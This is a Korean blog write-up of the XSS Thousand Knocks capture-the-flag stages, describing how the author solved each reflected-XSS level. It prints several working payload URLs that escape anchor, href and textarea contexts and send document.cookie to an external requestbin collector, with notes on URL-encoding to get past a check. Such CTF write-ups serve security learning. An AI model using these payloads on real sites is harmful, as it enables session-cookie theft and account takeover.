여기서 시간 많이 썼다. 


문제 3번이랑 비슷한데 똑같이 하면 안된다. 


그래서 <a>태그를 닫아서 스크립트를 전달하면 ok가 뜬다. 


http://2375e1f80fe2ec262a235d594fbcee96dba66710.knock.xss.moe/?q='></a><script>location.href=%27http://requestbin.fullcontact.com/v9x9evv9?%27%2Bdocument.cookie</script>





이렇게 성공.



ps. 이거 textarea로 문제 풀 수 있던데, 어떻게 풀리는지 의문이다. 


http://2375e1f80fe2ec262a235d594fbcee96dba66710.knock.xss.moe/?q=%22%3E%3C/textarea%3E%3Cscript%3Elocation.href=%27http://requestbin.fullcontact.com/v9x9evv9?a=%27%2Bdocument.cookie%3C/script%3E%3Ctextarea%3E





수천 번의 노크 XSS 단계 3번 write up


링크를 접속하니 Link라는 href가 하나 있고, 접속을 하면 기존과 같게 접속이 된다. 



이거 xss game 5번에서 비슷한 문제를 풀어보았기에 비슷하게 하면 된다고 생각을 했음.


?q=' ' 2번과 같이 넣어놓고 link를 누르면 되는거같다!!!



근데 자꾸 404 not found | nginx로 간다... 음 nginx?


** nginx : 아파치 같은 웹서버인듯하다. 한국에서 27%의 점유율을 가지고 있고, 아파치 보다 더 적은 자원으로 더 빠르게 데이터를 서비스 할 수 있는 웹 서버 소프트웨어이다. 



 페이지 소스 보기를 하면 <a href="/q=XSS">Link</a> 이렇게 있음을 보게 된다. 그럼 href에서 빠져나와 내가 원하는 스크립트를 실행시키게 해야 되는것같다.


http://68e3b596ebf790e8a781b8d87b84af7eb7b0aeb3.knock.xss.moe/?q="><script>location.href='http://requestbin.fullcontact.com/181sw2j1?a='%2Bdocument.cookie</script>



이렇게 해서 창에서는 되었다! ok가 떴습니다. 


그런데 Stage에 넣으면 fail csrf check이 또 떴다. 아까도 html encoding으로 '을 바꿔주면 되는것같다. 


'는 %27이다. 이걸 적용해서 


http://68e3b596ebf790e8a781b8d87b84af7eb7b0aeb3.knock.xss.moe/?q="><script>location.href=%27http://requestbin.fullcontact.com/181sw2j1?a=%27%2Bdocument.cookie</script>


이렇게 넣으면 성공




링크를 들어가면 아래와 같은 링크로 들어가게 된다. 

http://1a31198b4289ff3af4f7195a810c48eba9f6bf28.knock.xss.moe/?q=XSS


q=뒤에 있는 내용이 출력되는 기능을 가지고 있는 웹페이지이다. 



그래서 아래와 같은 url을 보내보았다. 


http://1a31198b4289ff3af4f7195a810c48eba9f6bf28.knock.xss.moe/?q=<script>location.href='http://requestbin.fullcontact.com/x1n9b3x1'+document.cookie</script>


그런데 이렇게 보내니까 failed csrf check! 라고 뜨면서 실패가 된다.


고민을 해보다가 +의 문제인거같아서 http encoding하면 나오는 %2B를 넣어서 보내보았다. 


http://1a31198b4289ff3af4f7195a810c48eba9f6bf28.knock.xss.moe/?q=<script>location.href='http://requestbin.fullcontact.com/x1n9b3x1'%2Bdocument.cookie</script>


근데 자꾸 none이 뜬다... 그 이유가 뭘까?



http://1a31198b4289ff3af4f7195a810c48eba9f6bf28.knock.xss.moe/?q=<script>location.href='http://requestbin.fullcontact.com/x1n9b3x1?a='%2Bdocument.cookie</script>


변수값을 안 줘서 안 뜬거였다....세상 바보...


이렇게 하면 flag가 제대로 온다. 성공





XSS문제를 더 풀고 싶어서 XSS Thousand Knocks 풀게 됨.


https://knock.xss.moe/index


우선 Stage1은 튜토리얼이었는데 어떻게 푸는건지 몰라서 시간이 좀 걸림. 



위와 같이 써있는데 서버를 활용해서 XSS 공격을 보낸 후에 서버에 오는 플래그를 읽으면 되는 문제라고 한다. 


처음에는 vm 서버를 활용해서 문제를 풀려고 했으나 외부 접속을 막고 있는지 문제가 풀리지 않았다. 


그래서 http://requestbin.fullcontact.com을 활용하였다. 


해당 문제에 1번에 위와 같이 적어있어서 해당 페이지에 접속해

http://8293927d3c84ed42eef26dd9ceaaa3d9bf448dda.knock.xss.moe/?location=%22http://example.com/?%22%2Bdocument.cookie

이렇게 적어줬는데 이렇게 푸는 문제가 아니라 url form에 넣으면 이 사이트에서 알아서 플래그를 보내준다. 

이 튜토리얼은 그 과정을 설명하기 위한 문제인듯하다. 

requestbin을 활용하면 url이 제공되는데 그 제공된 url의 example.com 안에 넣어서 보내면 플래그가 requestbin으로 전송된다. 





튜토리얼을 통해 어떻게 푸는지 알게 되었다. 


+ Recent posts